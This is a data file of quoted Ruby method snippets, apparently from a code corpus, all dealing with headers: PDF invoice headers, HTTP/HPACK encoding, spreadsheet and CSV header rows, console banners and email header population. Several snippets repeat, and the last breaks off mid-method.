"def populate_fields\n @header = populate_hmap_header\n string_t = @raw_data[header.strings_offset..-1]\n @bucktes = populate_buckets do |bucket|\n bucket_s = bucket.to_a.map do |key|\n string_t[key..-1].match(/[^\\0]+/)[0]\n end\n HMapBucketStr.new(*bucket_s)\n end\n end",
"def build_header_output\n output = []\n\n @header.each do |line|\n _data = []\n line.each do |h|\n _data << {:value => h, :color => @style[:header]}\n end\n output << _data\n end\n output\n end",
"def header(*values)\n if values.empty?\n @properties.fetch(:header) { [] }\n else\n (@properties[:header] ||= []) << values\n end\n end",
"def header_and_footer\n @title = _'Labvirt'\n @footer = _'Something nice should go down here...'\n end",
"def generate_header(array)\n header_array = array.dup\n header_array.unshift('')\n end",
"def parse_header\n header.each do |field, value|\n self.instance_variable_set(\"@#{field}\", value) if HEADER_FIELDS.include? field\n end\n end",
"def generate_header_row\n (@header.map {|x| generate_header_item(x)}).join\n end",
"def build_pdf_header(pdf)\n pdf.font \"Helvetica\" , :size => 8\n $lcCli = @company.name \n $lcdir1 = @company.address1+@company.address2+@company.city+@company.state\n\n $lcFecha1= Date.today.strftime(\"%d/%m/%Y\").to_s\n $lcHora = Time.now.to_s\n\n max_rows = [client_data_headers.length, invoice_headers.length, 0].max\n rows = []\n (1..max_rows).each do |row|\n rows_index = row - 1\n rows[rows_index] = []\n rows[rows_index] += (client_data_headers.length >= row ? client_data_headers[rows_index] : ['',''])\n rows[rows_index] += (invoice_headers.length >= row ? invoice_headers[rows_index] : ['',''])\n end\n\n if rows.present?\n\n pdf.table(rows, {\n :position => :center,\n :cell_style => {:border_width => 0},\n :width => pdf.bounds.width\n }) do\n columns([0, 2]).font_style = :bold\n\n end\n\n pdf.move_down 10\n\n end\n\n\n pdf.move_down 25\n pdf \n end",
"def dummy_header(length)\n return (0...length).map{|i| %Q_X#{i.to_s.rjust(length.to_s.length, \"0\")}_}\nend",
"def arrange_representative_header header\n head={\"FIRST NAME\" => \"first_name\",\n \"LAST NAME\" => \"last_name\",\n \"EMAIL\" => \"email\",\n \"UIN\" => \"uin\",\n \"FULL ACADEMIC UNIT NAME\" => \"academic_unit_name\",\n \"COLLEGE\" => \"college\"\n }\n arranged_header=[]\n header.each do |k|\n arranged_header.push head[k]\n end\n return arranged_header\n end",
"def add_headers(columns, header, worksheet)\r\n \r\n # print a numeric format\r\n f5 = Format.new(:num_format => 0x0f)\r\n worksheet.format_row(0..2, 15, @formats[:title] )\r\n # add headers\r\n worksheet.write(FIRST_ROW, FIRST_COLUMN, \"Title: #{header.title.camelize}\")\r\n worksheet.write(FIRST_ROW + 1, 0, \"Description: #{header.description.camelize}\")\r\n worksheet.write(FIRST_ROW + 2, 0, \"Query: #{header.sql}\")\r\n \r\n columns.each_with_index do |col, cindex|\r\n worksheet.format_column(cindex, 15, @formats[:number_column]) # set width of column (15 fixed)\r\n worksheet.write(STARTING_COLUMN_ROW, cindex, col.camelize, @formats[:column_header])\r\n end\r\n end",
"def header\n end",
"def set_headers(items)\n @headers = items.map { |item|\n item.gsub(/ /, '_')\n }\n end",
"def initialize(headers={})\n @values = {}\n initialize_names\n merge! headers\n end",
"def set_header_insert(opts)\n opts = check_params(opts,[:headers])\n super(opts)\n end",
"def headers\n # units and source have to go last, so if we push in a new header, these go\n # at end\n @headers+['units','source']\n end",
"def headers=(_arg0); end",
"def headers=(_arg0); end",
"def headers=(_arg0); end",
"def headers=(_arg0); end",
"def init_headers!(names = [])\r\n names = [names] unless names.is_a?(Array)\r\n @headers = []\r\n names.each_with_index {|name, i| @headers[i] = name}\r\n end",
"def _initialize_headers\n {}\n end",
"def normalize_header!\n @gsi.dsc = HeaderOption::DSC::TELETEXT_LEVEL_2\n @gsi.lc = @gsi.lc.to_i.to_s.rjust(2,'0')\n @gsi.tnb = @gsi.tnb.to_i.to_s.rjust(5,'0')\n @gsi.tns = @gsi.tns.to_i.to_s.rjust(5,'0')\n @gsi.tng = @gsi.tng.to_i.to_s.rjust(3,'0')\n @gsi.tcp = @gsi.tcp[0..1].to_i.to_s.ljust(2,'0') + \n @gsi.tcp[2..3].to_i.to_s.ljust(2,'0') +\n @gsi.tcp[4..5].to_i.to_s.ljust(2,'0') +\n @gsi.tcp[6..7].to_i.to_s.ljust(2,'0')\n @gsi.tcf = @gsi.tcf[0..1].to_i.to_s.ljust(2,'0') +\n @gsi.tcf[2..3].to_i.to_s.ljust(2,'0') +\n @gsi.tcf[4..5].to_i.to_s.ljust(2,'0') +\n @gsi.tcf[6..7].to_i.to_s.ljust(2,'0')\n @gsi.co = @gsi.co.upcase\n end",
"def new_booking_header\n clear\n puts HEADER_LINE\n puts \"Create a new booking right meow!\".upcase.center(HEADER_LENGTH)\n puts HEADER_LINE\nend",
"def build_pdf_header4(pdf)\n pdf.font \"Helvetica\" , :size => 8\n $lcCli = @company.name \n $lcdir1 = @company.address1+@company.address2+@company.city+@company.state\n\n $lcFecha1= Date.today.strftime(\"%d/%m/%Y\").to_s\n $lcHora = Time.now.to_s\n\n max_rows = [client_data_headers.length, invoice_headers.length, 0].max\n rows = []\n (1..max_rows).each do |row|\n rows_index = row - 1\n rows[rows_index] = []\n rows[rows_index] += (client_data_headers.length >= row ? client_data_headers[rows_index] : ['',''])\n rows[rows_index] += (invoice_headers.length >= row ? invoice_headers[rows_index] : ['',''])\n end\n\n if rows.present?\n\n pdf.table(rows, {\n :position => :center,\n :cell_style => {:border_width => 0},\n :width => pdf.bounds.width\n }) do\n columns([0, 2]).font_style = :bold\n\n end\n\n pdf.move_down 10\n\n end\n\n\n pdf.move_down 25\n pdf \n end",
"def on_header_init()\n end",
"def header(h, buffer = \"\")\n rep = HEADREP[h[:type]]\n\n if h[:type] == :indexed\n buffer << integer(h[:name], rep[:prefix])\n\n else\n if h[:name].is_a? Integer\n buffer << integer(h[:name]+1, rep[:prefix])\n else\n buffer << integer(0, rep[:prefix])\n buffer << string(h[:name])\n end\n\n if h[:type] == :substitution\n buffer << integer(h[:index], 0)\n end\n\n if h[:value].is_a? Integer\n buffer << integer(h[:value], 0)\n else\n buffer << string(h[:value])\n end\n end\n\n # set header representation pattern on first byte\n fb = buffer[0].unpack(\"C\").first | rep[:pattern]\n buffer.setbyte(0, fb)\n\n buffer\n end",
"def non_standardized_header(row)\n @header=row.split(/\\s{2}+/).reject{|a|a.empty?} \n @header[1].insert(8,'--')\n @header[1]=@header[1].split(/--/)\n @header.insert(1,'Incep Date')\n @header=@header.flatten\n end",
"def build_header\n @pdf.text_box(\n @labels[:name],\n size: 20,\n align: :left,\n at: [0, y(720) - @push_down],\n width: x(300),\n )\n\n if used? @labels[:sublabels][:name]\n @pdf.text_box(\n @labels[:sublabels][:name],\n size: 12,\n at: [0, y(720) - @push_down - 22],\n width: x(300),\n align: :left\n )\n end\n\n @pdf.text_box(\n @document.number,\n size: 20,\n at: [x(240), y(720) - @push_down],\n width: x(300),\n align: :right\n )\n\n @pdf.move_down(250)\n\n if used? @labels[:sublabels][:name]\n @pdf.move_down(12)\n end\n end",
"def build_pdf_header2(pdf)\n pdf.font \"Helvetica\" , :size => 8\n $lcCli = @company.name \n $lcdir1 = @company.address1+@company.address2+@company.city+@company.state\n\n $lcFecha1= Date.today.strftime(\"%d/%m/%Y\").to_s\n $lcHora = Time.now.to_s\n\n max_rows = [client_data_headers.length, invoice_headers.length, 0].max\n rows = []\n (1..max_rows).each do |row|\n rows_index = row - 1\n rows[rows_index] = []\n rows[rows_index] += (client_data_headers.length >= row ? client_data_headers[rows_index] : ['',''])\n rows[rows_index] += (invoice_headers.length >= row ? invoice_headers[rows_index] : ['',''])\n end\n\n if rows.present?\n\n pdf.table(rows, {\n :position => :center,\n :cell_style => {:border_width => 0},\n :width => pdf.bounds.width\n }) do\n columns([0, 2]).font_style = :bold\n\n end\n\n pdf.move_down 10\n\n end\n\n\n pdf.move_down 15\n pdf \n end",
"def build_pdf_header2(pdf)\n pdf.font \"Helvetica\" , :size => 8\n $lcCli = @company.name \n $lcdir1 = @company.address1+@company.address2+@company.city+@company.state\n\n $lcFecha1= Date.today.strftime(\"%d/%m/%Y\").to_s\n $lcHora = Time.now.to_s\n\n max_rows = [client_data_headers.length, invoice_headers.length, 0].max\n rows = []\n (1..max_rows).each do |row|\n rows_index = row - 1\n rows[rows_index] = []\n rows[rows_index] += (client_data_headers.length >= row ? client_data_headers[rows_index] : ['',''])\n rows[rows_index] += (invoice_headers.length >= row ? invoice_headers[rows_index] : ['',''])\n end\n\n if rows.present?\n\n pdf.table(rows, {\n :position => :center,\n :cell_style => {:border_width => 0},\n :width => pdf.bounds.width\n }) do\n columns([0, 2]).font_style = :bold\n\n end\n\n pdf.move_down 10\n\n end\n\n\n pdf.move_down 15\n pdf \n end",
"def generate_header_row\n generate_row(@header)\n end",
"def generate_header_row\n generate_row(@header)\n end",
"def build_pdf_header2(pdf)\n pdf.font \"Helvetica\" , :size => 8\n $lcCli = @company.name \n $lcdir1 = @company.address1+@company.address2+@company.city+@company.state\n\n $lcFecha1= Date.today.strftime(\"%d/%m/%Y\").to_s\n $lcHora = Time.now.to_s\n\n max_rows = [client_data_headers.length, invoice_headers.length, 0].max\n rows = []\n (1..max_rows).each do |row|\n rows_index = row - 1\n rows[rows_index] = []\n rows[rows_index] += (client_data_headers.length >= row ? client_data_headers[rows_index] : ['',''])\n rows[rows_index] += (invoice_headers.length >= row ? invoice_headers[rows_index] : ['',''])\n end\n\n if rows.present?\n\n pdf.table(rows, {\n :position => :center,\n :cell_style => {:border_width => 0},\n :width => pdf.bounds.width\n }) do\n columns([0, 2]).font_style = :bold\n\n end\n\n pdf.move_down 10\n\n end\n\n\n pdf.move_down 25\n pdf \n end",
"def get_header(ins_company)\n header = ins_company.name + \"\\n\"\n header += !ins_company.insurance_co_id.blank? ? (ins_company.insurance_co_id + \"\\n\") : \"\"\n header += ins_company.address1 + \"\\n\"\n header += !ins_company.address2.blank? ? (ins_company.address2 + \"\\n\") : \"\"\n header += ins_company.city + \", \" + ins_company.state + \" \" + ins_company.zip\n text_box header, :at => [355,732], :height => 100, :width => 100\n end",
"def header_params\n params.require(:header).permit(:name, :value, :mock_id)\n end",
"def build_pdf_header3(pdf)\n pdf.font \"Helvetica\" , :size => 8\n $lcCli = @company.name \n $lcdir1 = @company.address1+@company.address2+@company.city+@company.state\n\n $lcFecha1= Date.today.strftime(\"%d/%m/%Y\").to_s\n $lcHora = Time.now.to_s\n\n max_rows = [client_data_headers.length, invoice_headers.length, 0].max\n rows = []\n (1..max_rows).each do |row|\n rows_index = row - 1\n rows[rows_index] = []\n rows[rows_index] += (client_data_headers.length >= row ? client_data_headers[rows_index] : ['',''])\n rows[rows_index] += (invoice_headers.length >= row ? invoice_headers[rows_index] : ['',''])\n end\n\n if rows.present?\n\n pdf.table(rows, {\n :position => :center,\n :cell_style => {:border_width => 0},\n :width => pdf.bounds.width\n }) do\n columns([0, 2]).font_style = :bold\n\n end\n\n pdf.move_down 10\n\n end\n\n\n pdf.move_down 25\n pdf \n end",
"def build_header \n pdf_writer.margins_in(1)\n \n pad_bottom(10) do\n if allflag\n add_text \"All Goals\"\n else\n add_text \"Current Goals\"\n end\n end \n \n end",
"def grid_head_data_headers(cols: nil, **opt, &block)\n start_column = positive(opt.delete(:'aria-colindex')) || 1\n (cols || grid_row_columns).map.with_index(start_column) do |col, idx|\n grid_head_cell(col, **opt, 'aria-colindex': idx, &block)\n end\n end",
"def new_booking_header\n clear\n puts\n puts HEADER_LINE\n puts \"lets play a game and create your baby a booking\".upcase.center(HEADER_LENGTH)\n puts HEADER_LINE\n puts\nend",
"def format_header(header, close: ':', upcase: true)\n header.squish!\n header[0] = header[0].upcase if upcase\n header += close\nend",
"def header=(header)\n @header = header\n end",
"def make_load_header(text_line)\n EdiHelper::edi_log.write \"LI PreProcessor: Creating missing LH record from LD record...\",0\n\n detail_data = RawFixedLenRecord.new('LI', 'LD', text_line)\n header_data = RawFixedLenRecord.new('LI', 'LH')\n ignore_fields = ['load_date', 'instruction_quantity']\n line = header_data.populate_with_values_from( detail_data, ignore_fields )\n\n EdiHelper::edi_log.write \"LI PreProcessor: Created missing LH record from LD record.\",0\n line\n end",
"def parse_header(raw)\n header = {}\n field = nil\n\n raw.each_line do |line|\n case line\n when /^([A-Za-z0-9!\\#$%&'*+\\-.^_`|~]+):\\s*(.*?)\\s*\\z/om\n field, value = $1, $2\n header[field] = value\n when /^\\s+(.*?)\\s*\\z/om\n value = $1\n fail \"bad header '#{line}'.\" unless field\n\n header[field][-1] << ' ' << value\n else\n fail \"bad header '#{line}'.\"\n end\n end\n\n header.each do |key, value|\n value.strip!\n value.gsub!(/\\s+/, ' ')\n end\n\n header\n end",
"def header; end",
"def header; end",
"def header; end",
"def headers=(hash); end",
"def headers=(hash); end",
"def method_missing(name, *args, &block)\n #:nodoc:\n # Only take the structured fields, as we could take _anything_ really\n # as it could become an optional field... \"but therin lies the dark side\"\n field_name = underscoreize(name).chomp(\"=\")\n if Mail::Field::KNOWN_FIELDS.include?(field_name)\n if args.empty?\n header[field_name]\n else\n header[field_name] = args.first\n end\n else\n super # otherwise pass it on\n end\n #:startdoc:\n end",
"def initialize_http_header(initheader)\n super\n set_headers_for_body\n end",
"def replace_placeholder(replacement, body, headers)\n new_body = []\n body.each { |chunk| new_body << chunk.gsub(Airbrake.user_information_placeholder || DEFAULT_PLACEHOLDER, replacement) }\n headers[\"Content-Length\"] = new_body.inject(0) { |sum, x| sum + x.bytesize }.to_s\n new_body\n ensure\n body.close if body.respond_to?(:close)\n end",
"def build_pdf_header_rpt(pdf)\n pdf.font \"Helvetica\" , :size => 8\n\n $lcFecha1= Time.zone.now.strftime(\"%d/%m/%Y\").to_s\n $lcHora = Time.now.to_s\n\n max_rows = [client_data_headers_rpt.length, invoice_headers_rpt.length, 0].max\n rows = []\n (1..max_rows).each do |row|\n rows_index = row - 1\n rows[rows_index] = []\n rows[rows_index] += (client_data_headers_rpt.length >= row ? client_data_headers_rpt[rows_index] : ['',''])\n rows[rows_index] += (invoice_headers_rpt.length >= row ? invoice_headers_rpt[rows_index] : ['',''])\n end\n\n if rows.present?\n\n pdf.table(rows, {\n :position => :center,\n :cell_style => {:border_width => 0},\n :width => pdf.bounds.width\n }) do\n columns([0, 2]).font_style = :bold\n\n end\n\n pdf.move_down 10\n\n end\n \n pdf \n end",
"def build_pdf_header_rpt16(pdf)\n pdf.font \"Helvetica\" , :size => 6\n \n $lcCli = @company.name \n $lcdir1 = @company.address1+@company.address2+@company.city+@company.state\n\n $lcFecha1= Date.today.strftime(\"%d/%m/%Y\").to_s\n $lcHora = Time.now.to_s\n\n max_rows = [client_data_headers.length, invoice_headers.length, 0].max\n rows = []\n (1..max_rows).each do |row|\n rows_index = row - 1\n rows[rows_index] = []\n rows[rows_index] += (client_data_headers.length >= row ? client_data_headers[rows_index] : ['',''])\n rows[rows_index] += (invoice_headers.length >= row ? invoice_headers[rows_index] : ['',''])\n end\n\n if rows.present?\n pdf.table(rows, {\n :position => :center,\n :cell_style => {:border_width => 0},\n :width => pdf.bounds.width\n }) do\n columns([0, 2]).font_style = :bold\n\n end\n\n pdf.move_down 10\n\n end\n \n pdf \n end",
"def build_pdf_header_rpt16(pdf)\n pdf.font \"Helvetica\" , :size => 6\n \n $lcCli = @company.name \n $lcdir1 = @company.address1+@company.address2+@company.city+@company.state\n\n $lcFecha1= Date.today.strftime(\"%d/%m/%Y\").to_s\n $lcHora = Time.now.to_s\n\n max_rows = [client_data_headers.length, invoice_headers.length, 0].max\n rows = []\n (1..max_rows).each do |row|\n rows_index = row - 1\n rows[rows_index] = []\n rows[rows_index] += (client_data_headers.length >= row ? client_data_headers[rows_index] : ['',''])\n rows[rows_index] += (invoice_headers.length >= row ? invoice_headers[rows_index] : ['',''])\n end\n\n if rows.present?\n pdf.table(rows, {\n :position => :center,\n :cell_style => {:border_width => 0},\n :width => pdf.bounds.width\n }) do\n columns([0, 2]).font_style = :bold\n\n end\n\n pdf.move_down 10\n\n end\n \n pdf \n end",
"def build_header \n pdf_writer.margins_in(1)\n \n pad_bottom(10) do\n if allflag\n add_text \"All Tasks\"\n else\n add_text \"Current Tasks\"\n end\n end \n end",
"def header\n @header ||= create_header\n end",
"def build_pdf_header9(pdf)\n pdf.font \"Helvetica\" , :size => 6 \n $lcCli = @company.name \n $lcdir1 = @company.address1+@company.address2+@company.city+@company.state\n\n $lcFecha1= Date.today.strftime(\"%d/%m/%Y\").to_s\n $lcHora = Time.zone.now.to_s\n\n max_rows = [client_data_headers.length, invoice_headers.length, 0].max\n rows = []\n (1..max_rows).each do |row|\n rows_index = row - 1\n rows[rows_index] = []\n rows[rows_index] += (client_data_headers_rpt.length >= row ? client_data_headers_rpt[rows_index] : ['',''])\n rows[rows_index] += (invoice_headers_rpt.length >= row ? invoice_headers_rpt[rows_index] : ['',''])\n end\n\n if rows.present?\n pdf.table(rows, {\n :position => :center,\n :cell_style => {:border_width => 0},\n :width => pdf.bounds.width\n }) do\n columns([0, 2]).font_style = :bold\n\n end\n\n pdf.move_down 10\n\n end\n \n pdf \n end",
"def build_pdf_header_rpt16(pdf)\n pdf.font \"Helvetica\" , :size => 6\n \n $lcCli = @company.name \n $lcdir1 = @company.address1+@company.address2+@company.city+@company.state\n\n $lcFecha1= Date.today.strftime(\"%d/%m/%Y\").to_s\n $lcHora = Time.now.to_s\n\n max_rows = [client_data_headers.length, invoice_headers.length, 0].max\n rows = []\n (1..max_rows).each do |row|\n rows_index = row - 1\n rows[rows_index] = []\n rows[rows_index] += (client_data_headers.length >= row ? client_data_headers[rows_index] : ['',''])\n rows[rows_index] += (invoice_headers.length >= row ? invoice_headers[rows_index] : ['',''])\n end\n\n if rows.present?\n pdf.table(rows, {\n :position => :center,\n :cell_style => {:border_width => 0},\n :width => pdf.bounds.width\n }) do\n columns([0, 2]).font_style = :bold\n\n end\n\n pdf.move_down 10\n\n end\n \n pdf \n end",
"def parse_header(io)\n\t variable_name = nil\n\t parse_pairs io do |code, value|\n\t\tcase code\n\t\t when '0' then next\n\t\t when '9'\n\t\t\tvariable_name = value\n\t\t else\n\t\t\theader[variable_name] = value\n\t\tend\n\t end\n\tend",
"def email_update_header\n col = 18\n hdr = \"------------------------------------------------------------------------\\n\" +\n 'Design : '.rjust(col) + self.oi_instruction.design.directory_name + \"\\n\" +\n 'Category : '.rjust(col) + self.oi_instruction.oi_category_section.oi_category.name + \"\\n\" +\n 'Step : '.rjust(col) + self.oi_instruction.oi_category_section.name + \"\\n\" +\n 'Team Lead : '.rjust(col) + self.oi_instruction.user.name + \"\\n\" +\n 'Designer : '.rjust(col) + self.user.name + \"\\n\" +\n 'Date Assigned : '.rjust(col) + self.created_on.format_dd_mon_yy('timestamp') + \"\\n\" +\n 'Complete : '.rjust(col)\n if self.complete?\n hdr += \"Yes\\n\" +\n 'Completed On : '.rjust(col) + self.completed_on.format_dd_mon_yy('timestamp') + \"\\n\"\n else\n hdr += \"No\\n\"\n end\n\n if self.oi_instruction.oi_category_section.urls.size > 0\n label = true\n self.oi_instruction.oi_category_section.urls.each do |url|\n \n if label\n hdr += 'References : '.rjust(col)\n label = false\n else\n hdr += ' : '.rjust(col)\n end\n \n if url[:text] != ''\n hdr += url[:text] + \"\\n\" + ' : '.rjust(col) + url[:url] + \"\\n\"\n else\n hdr += url[:url] + \"\\n\"\n end\n \n end\n end\n\n hdr += \"------------------------------------------------------------------------\\n\"\n\n \n hdr\n \n end",
"def header(h, buffer = Buffer.new)\n rep = HEADREP[h[:type]]\n\n if h[:type] == :indexed\n buffer << integer(h[:name], rep[:prefix])\n\n else\n if h[:name].is_a? Integer\n buffer << integer(h[:name]+1, rep[:prefix])\n else\n buffer << integer(0, rep[:prefix])\n buffer << string(h[:name])\n end\n\n if h[:type] == :substitution\n buffer << integer(h[:index], 0)\n end\n\n if h[:value].is_a? Integer\n buffer << integer(h[:value], 0)\n else\n buffer << string(h[:value])\n end\n end\n\n # set header representation pattern on first byte\n fb = buffer[0].unpack(\"C\").first | rep[:pattern]\n buffer.setbyte(0, fb)\n\n buffer\n end",
"def add_header_row(sheet, initial_values)\n header_row_style = sheet.styles.add_style sz: 12, b: true, alignment: { wrap_text: true, horizontal: :center, vertical: :center }, border: { style: :thin, color: '00000000' }\n header_row = initial_values\n header_row += (1..@active_procurement_buildings.count).map { |x| \"Building #{x}\" }\n\n sheet.add_row header_row, style: header_row_style, height: standard_row_height\n end",
"def header=(header)\n @header = header\n end",
"def print_header\n \"#{\"Sl.\"} #{\"Description\".ljust(20)} #{\"Created time\".ljust(10)} #{\"Due by\".ljust(10)} #{\"Status\"}\"\n end",
"def addFitsHeader(hdu, det)\n ## define header keyvalues\n telescop = \"GROWTH\"\n instrume = \"#{det}\"\n chantype = \"PI\"\n detchans = 2048\n hduclass = \"OGIP\"\n hduclas1 = \"RESPONSE\"\n \n ## write header keyvalues\n hdu.addHeader(\"TELESCOP\", telescop, \"mission name\")\n hdu.addHeader(\"INSTRUME\", instrume, \"instrument/detector name\")\n hdu.addHeader(\"CHANTYPE\", chantype, \"channel type (PHA, PI etc)\")\n hdu.addHeader(\"DETCHANS\", detchans, \"total number possible channels\")\n hdu.addHeader(\"HDUCLASS\", hduclass, \"\")\n hdu.addHeader(\"HDUCLAS1\", hduclas1, \"\")\nend",
"def register\n grab_header.invert\n end",
"def getHeader() @header1 end",
"def start_header(attributes)\n @element_stack << :header\n end",
"def start_header(attributes)\n @element_stack << :header\n end",
"def header(name, value)\n har_headers << [name, value]\n super(name, value)\n end",
"def header=(new_header)\n @header = new_header\n # prepare defaults\n @header[\"description\"] ||= \"\"\n # handle tags\n @dependencies = parse_tag_list(Array(@header[\"requires\"]))\n @provides = parse_tag_list(Array(@header[\"provides\"]))\n\n @extends = case @header[\"extends\"]\n when Array then Tag.new(@header[\"extends\"][0])\n when String then Tag.new(@header[\"extends\"])\n else nil\n end\n\n @replaces = case @header[\"replaces\"]\n when Array then Tag.new(@header[\"replaces\"][0])\n when String then Tag.new(@header[\"replaces\"])\n else nil\n end\n end",
"def build_pdf_header_rpt2(pdf)\n pdf.font \"Helvetica\" , :size => 8\n $lcCli = @company.name \n $lcdir1 = @company.address1+@company.address2+@company.city+@company.state\n\n $lcFecha1= Date.today.strftime(\"%d/%m/%Y\").to_s\n $lcHora = Time.now.to_s\n\n max_rows = [client_data_headers_rpt.length, invoice_headers_rpt.length, 0].max\n rows = []\n (1..max_rows).each do |row|\n rows_index = row - 1\n rows[rows_index] = []\n rows[rows_index] += (client_data_headers_rpt.length >= row ? client_data_headers_rpt[rows_index] : ['',''])\n rows[rows_index] += (invoice_headers_rpt.length >= row ? invoice_headers_rpt[rows_index] : ['',''])\n end\n\n if rows.present?\n\n pdf.table(rows, {\n :position => :center,\n :cell_style => {:border_width => 0},\n :width => pdf.bounds.width\n }) do\n columns([0, 2]).font_style = :bold\n\n end\n\n pdf.move_down 10\n\n end\n\n\n \n pdf \n end",
"def parse_header_lines\n if @parsed_values[\"\"].nil? || @parsed_values[\"\"][1].nil?\n @parsed_values[\"\"] = {}\n return\n end\n\n headers = {}\n # Heading lines may have escaped newlines in them\n @parsed_values[\"\"][1].split(/\\\\n/).each do |line|\n next if line.size == 0\n\n if line =~ /(.*?):(.*)/\n key, value = $1, $2\n if headers[key] && headers[key].size > 0\n @errors << [\"Duplicate header line: #{line}\"]\n elsif key =~ /#-#-#-#-#/\n @errors << [\"Marker in header line: #{line}\"]\n else\n headers[key] = value\n end\n else\n @errors << [\"Malformed header #{line}\"]\n end\n end\n\n @parsed_values[\"\"] = headers\n end",
"def initialize(header, options = {})\n @header_cols = split_by_comma_regex(header || \"\")\n @insert_cols = (options[:insert] || \"\").split(/,|;/)\n @positions = options[:pos] || []\n @sort = options[:sort]\n end",
"def prepend_header(name, value)\n original = tmail[name] || []\n tmail[name] = nil\n tmail[name] = sanitize_header(charset, name, value)\n tmail[name] = tmail[name] + original\n end",
"def inject_headers!(obj)\n procid = obj[:options][:header]\n if procid && header_proc = header_procs[procid]\n data = userdata[obj.id]\n obj.trailing, trailing = nil, obj.trailing\n obj.message = header_proc.call(obj.message, data)\n obj.trailing = header_proc.call(trailing, data) if !trailing.to_s.empty?\n end\n end",
"def initialize name, header\n super(top_margin: 30)\n\n @header = header\n @data = [header]\n @column_widths = nil\n\n text \"<b><u>#{name}</u></b>\", align: :center, size: 24, inline_format: true\n end",
"def build_header\n header = [\n :county,\n :vtdname,\n :vtd,\n :fips,\n :area,\n :population,\n :id,\n :geosha,\n :fuzzy_boundary\n ]\n legend.dig(\"races\", \"elections\").each do |election_id, election_name|\n election = Election.find_by(name: election_name)\n election.offices.each do |office|\n race = \"#{election_name} #{office}\"\n header << \"#{race} District\" if office =~ /House|Senate/\n header << headers_for_race(race)\n end\n end\n header.flatten\n end",
"def header(title)\n \n clear = %x[clear]\n puts clear\n \n puts \" +++++++++++ +++++++++ ++++ \" \n puts \" +++++++++++++ +++++++++ +++ \" \n puts \" +++++++++++++++ +++++++++ ++ \" \n puts \" +++++++++++++++++ +++++++++ + \" \n puts \" +++++++++++++++++++ +++++++++ \" \n puts \" +++++++++++++++++++ +++++++++ +++++\" \n puts \" +++++++++++++++++++ +++++++++ +++++\" \n puts \" +++++++++++++++++ +++++++++ +++++\" \n puts \" +++++++++++++++ +++++++++ \" \n puts \" +++++++++++++ +++++++++ http://ofxAddons.com/\" \n puts \" +++++++++++ +++++++++ http://openframeworks.cc/\"\n \n puts \"\"\n puts \" - #{title}\"\n puts \"\"\n puts \"\"\n \n end",
"def add_header(name, value)\n end",
"def print_header\n\n puts \"The students of Villains Academy\"\n puts \"%s %s %s %s %s %s %s\" % [\n \"ID\".ljust(2),\n \"Name\".ljust(@width),\n \"Cohort\".ljust(@width),\n \"D.O.B\".ljust(@width),\n \"Height(cm)\".ljust(@width),\n \"C.O.B\".ljust(@width),\n \"hobby\"\n ]\n puts \"-------------\"\nend",
"def build_table_header\n names = column_names(data)\n build_md_row(output, names)\n build_md_row(output, alignment_strings(names))\n end",
"def populate_headers\n\t\t\t# construct a From value\n\t\t\t# should this kind of thing only be done when headers don't exist already? maybe not. if its\n\t\t\t# sent, then modified and saved, the headers could be wrong?\n\t\t\t# hmmm. i just had an example where a mail is sent, from an internal user, but it has transport\n\t\t\t# headers, i think because one recipient was external. the only place the senders email address\n\t\t\t# exists is in the transport headers. so its maybe not good to overwrite from.\n\t\t\t# recipients however usually have smtp address available.\n\t\t\t# maybe we'll do it for all addresses that are smtp? (is that equivalent to \n\t\t\t# sender_email_address !~ /^\\//\n\t\t\tname, email = props.sender_name, props.sender_email_address\n\t\t\tif props.sender_addrtype == 'SMTP'\n\t\t\t\theaders['From'] = if name and email and name != email\n\t\t\t\t\t[%{\"#{name}\" <#{email}>}]\n\t\t\t\telse\n\t\t\t\t\t[email || name]\n\t\t\t\tend\n\t\t\telsif !headers.has_key?('From')\n\t\t\t\t# some messages were never sent, so that sender stuff isn't filled out. need to find another\n\t\t\t\t# way to get something\n\t\t\t\t# what about marking whether we thing the email was sent or not? or draft?\n\t\t\t\t# for partition into an eventual Inbox, Sent, Draft mbox set?\n\t\t\t\t# i've now seen cases where this stuff is missing, but exists in transport message headers,\n\t\t\t\t# so maybe i should inhibit this in that case.\n\t\t\t\tif email\n\t\t\t\t\t# disabling this warning for now\n\t\t\t\t\t#Log.warn \"* no smtp sender email address available (only X.400). creating fake one\"\n\t\t\t\t\t# this is crap. though i've specially picked the logic so that it generates the correct\n\t\t\t\t\t# email addresses in my case (for my organisation).\n\t\t\t\t\t# this user stuff will give valid email i think, based on alias.\n\t\t\t\t\tuser = name ? name.sub(/(.*), (.*)/, \"\\\\2.\\\\1\") : email[/\\w+$/].downcase\n\t\t\t\t\tdomain = (email[%r{^/O=([^/]+)}i, 1].downcase + '.com' rescue email)\n\t\t\t\t\theaders['From'] = [name ? %{\"#{name}\" <#{user}@#{domain}>} : \"<#{user}@#{domain}>\" ]\n\t\t\t\telsif name\n\t\t\t\t\t# we only have a name? thats screwed up.\n\t\t\t\t\t# disabling this warning for now\n\t\t\t\t\t#Log.warn \"* no smtp sender email address available (only name). creating fake one\"\n\t\t\t\t\theaders['From'] = [%{\"#{name}\"}]\n\t\t\t\telse\n\t\t\t\t\t# disabling this warning for now\n\t\t\t\t\t#Log.warn \"* no sender email address available at all. FIXME\"\n\t\t\t\tend\n\t\t\t# else we leave the transport message header version\n\t\t\tend\n\n\t\t\t# for all of this stuff, i'm assigning in utf8 strings.\n\t\t\t# thats ok i suppose, maybe i can say its the job of the mime class to handle that.\n\t\t\t# but a lot of the headers are overloaded in different ways. plain string, many strings\n\t\t\t# other stuff. what happens to a person who has a \" in their name etc etc. encoded words\n\t\t\t# i suppose. but that then happens before assignment. and can't be automatically undone\n\t\t\t# until the header is decomposed into recipients.\n\t\t\trecips_by_type = recipients.group_by { |r| r.type }\n\t\t\t# i want to the the types in a specific order.\n\t\t\t[:to, :cc, :bcc].each do |type|\n\t\t\t\t# for maximal (probably pointless) fidelity, we try to sort recipients by the\n\t\t\t\t# numerical part of the ole name\n\t\t\t\trecips = recips_by_type[type] || []\n\t\t\t\trecips = (recips.sort_by { |r| r.obj.name[/\\d{8}$/].hex } rescue recips)\n\t\t\t\t# switched to using , for separation, not ;. see issue #4\n\t\t\t\t# recips.empty? is strange. i wouldn't have thought it possible, but it was right?\n\t\t\t\theaders[type.to_s.sub(/^(.)/) { $1.upcase }] = [recips.join(', ')] unless recips.empty?\n\t\t\tend\n\t\t\theaders['Subject'] = [props.subject] if props.subject\n\n\t\t\t# fill in a date value. by default, we won't mess with existing value hear\n\t\t\tif !headers.has_key?('Date')\n\t\t\t\t# we want to get a received date, as i understand it.\n\t\t\t\t# use this preference order, or pull the most 